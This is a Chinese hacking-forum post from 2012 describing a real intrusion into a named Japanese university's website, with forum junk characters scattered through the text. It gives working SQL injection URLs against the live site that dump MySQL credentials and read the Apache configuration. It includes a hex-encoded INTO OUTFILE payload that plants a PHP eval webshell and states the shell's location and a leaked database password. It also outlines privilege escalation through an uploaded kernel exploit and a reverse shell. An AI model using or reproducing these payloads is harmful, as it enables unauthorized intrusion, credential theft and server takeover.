中国网络渗透测试联盟

标题: 入侵日本同志社大学 [打印本页]

作者: admin    时间: 2012-11-21 13:48
标题: 入侵日本同志社大学
入侵日本同志社大学技术分析/ _1 ~" p( D  x; _) f

" a& K+ H1 J+ @1 jhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1, O0 t5 |2 R3 i
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
1 i( k0 ~- a  \3 O+ M. `, J4 ?7 U3 ?+ F# H1 e, x5 @' ?* L& S2 q4 X
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
* j  h$ ]+ l3 r0 W) b( Z
; O) s7 W/ E2 a, }+ C9 a  Z $ o' d4 I/ J9 m0 J! w, j: a6 X7 P' x

; d5 A% r' H; U/ W) u+ j//@@datadir为数据库文件路径
7 y8 @9 P+ z. F8 o- v
8 Q: \- _) I! n# D) K+ w- A7 z$ |3 M6 G; H8 X1 R  H/ H
//load_file读取网站容器apache的配置文件
7 E* J* x$ o% [) L3 X3 h1 Z  @ 6 W$ W) Q' |6 X& R! c8 B1 z! ~! W# b

3 ^5 y; S5 j+ d1 T0 _( ~: Z//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
1 O2 W5 g' y# V( `复制代码
4 l; |& W( b: U: G) |5 n4 h5 u  u3 I' ~1 y$ l" Q+ O- U
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
& u( T9 w5 ]' T8 ]5 y6 G  W/ p* B$ C) S( z, U) t8 h" [+ O( D. O
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
9 d; K) f- L9 c# W5 m' J) j$ ~(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)( T, I! B# b0 E: W7 C8 A
- y  n, I2 y& |' Y8 n3 p% \$ l
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。3 S8 ~1 u9 n/ x5 N7 `
如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html7 c8 o5 I( J  e( r" ]
  e& p# x/ m9 o& v4 Z3 I
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
: W* f& J) g; `/ ?! m虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。# n2 U& M& e- w
直接写一句话:1 G! G3 U6 M7 u4 X- t7 a

: k3 M# }) I3 x' `5 y2 whttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
9 D0 H2 r4 F& W, j' C+ c8 ~) X5 f# s( x$ {4 i8 T& V! h
  E, W2 W  m) \- f7 h7 |  l2 T' w
* p! ~4 S/ k) \
//最后的#是为了闭合前面的语句 - I( `2 [/ ~( [! L! y' N0 K

3 `; f  W! F' F9 w
& o; \, N4 [- g! z$ k/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E ) z5 ?4 N1 `% H
6 y5 |2 h9 a7 C( r8 U  B, a( h
1 y/ g# m# [( G  w0 ?: u
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
7 z+ s4 {) V6 E1 n ( J3 e. h7 z' F

( s% `. c# A" U* u. `//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 ! u3 Q" G. I% D2 O$ X- T
4 J. [2 s6 @2 ~) r! [/ Y
& Y) j  q6 M, ^) ?- i- l3 p4 v
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
+ V5 ]% _- j! k" d4 \3 q//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>” * P) ?$ A0 P' }8 {8 ~
复制代码1 X* z. m0 |" O8 \. O/ L& C

& r% j- a6 S, H" I' h3 B2 vHEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有1 e* s4 m! k5 e- q- X3 c  ], Q
通过上述注入语句,我们就得到了一句话木马:
9 J5 x- L$ w) ^( k6 U& ~  _& H5 R; r2 K7 J6 e  H7 g6 ^5 w
4 \7 C, d& C: h$ W2 o7 z+ \- Z" r! b# Z7 W

  y# i, i0 z) @  r+ r, s$ q
% x" E; S/ g  f& v+ y3 h3 C" C2 H7 y
http://www.doshisha.ac.jp/english/engnews_img/aa.php 2 b. A# X4 A% }& G- ]7 a0 H
复制代码
# q" `% }9 K- z% T- e$ z1 x8 X5 V% _' |
用菜刀连接,密码是cmd,如图所示:
. q9 z# G: g+ `1 t/ |7 R然后在命令提示行里看了一下,现在的权限是:
, h7 Q+ W& V* I
9 q& X5 S/ ~8 T) _" H之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
. N# V# Z  k1 A0 R0 O好在赋权给这个文件夹不需要root,直接执行赋权语句:" n' e2 J% H% \1 o  Z2 @

! r: S" ?: @1 i7 a- _. T8 M 4 N9 U+ Q6 C8 g" x

+ E- }. C6 Z7 Y- Z
( Y8 ^. J* H% ?' `$ w+ I% \/ p) n5 F4 s; P2 }/ T
chmod +x /tmp/ ! h* R2 A% y$ x2 N
复制代码
2 U  h7 v& `8 A* p* g  E
5 o9 N. P- H! ^3 l! f# l, P在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行/ ~* l8 F& m5 _6 C$ ?
然后就查了一下内核版本:
6 f, b/ G6 V% Q. `9 z, l4 p* b3 E7 N* P
2 |. F/ n7 c& L0 |+ e  J6 J8 f
& a" J9 v3 i2 G5 i! G8 X  ]

/ v) H0 G* w1 D) M1 z( ^/ M$ \" W5 B2 e4 U
uname-a $ \& S$ t8 |, N3 S( C
% V/ y+ q2 ~8 V4 g, \+ O5 H

2 Z( _% f% `1 ]//其实lsb_release -a
$ z' A: e5 |4 p/ Q. \0 }复制代码  T& h% I$ |6 }; m
* ]  F& p9 {0 Q; u! O2 i0 G) F
如图所示:
! a7 W$ e- {3 W9 X  z# L/ m& N
6 E$ s. a& y! _- a6 L( O$ }- ?内核版本:linux mainz1 2.6.28-194.e15" m2 d4 ?1 V8 f5 Z
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga): q* E: e! T' d# {
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
3 b8 A. J1 W* j; q* {$ C- Y& |3 |1 u$ |& N8 R( B
然后给予执行权限
. V: b  D# b( y8 C一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样( Q" H- ~. u! v, O/ X9 E8 n3 }; v
9 y6 p; y8 S- B: c* }( `
: T1 Z9 G& I; ?, G! s
( Z; p7 q2 A- X- x4 c& `' n

+ G4 I' b$ D* t- u; C
9 Q% O$ T: _/ w- @  n/ q0 dchmod +x /tmp/2.6.18-194
3 R) j' b0 ~# v0 ]复制代码 然后直接执行!~
& y" R) I( Q$ u0 l' Z& W, U# l( n
- Q0 ^# r$ U  W. x9 \" Y总结:
( D, i4 a( v3 S. b& }3 [这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了, k( [' j" _1 F" s+ @+ h( W
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root3 z$ B8 a- X( S+ u6 ?  K/ r$ X

$ C. x, L4 X/ D$ U, J8 O4 u  J




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2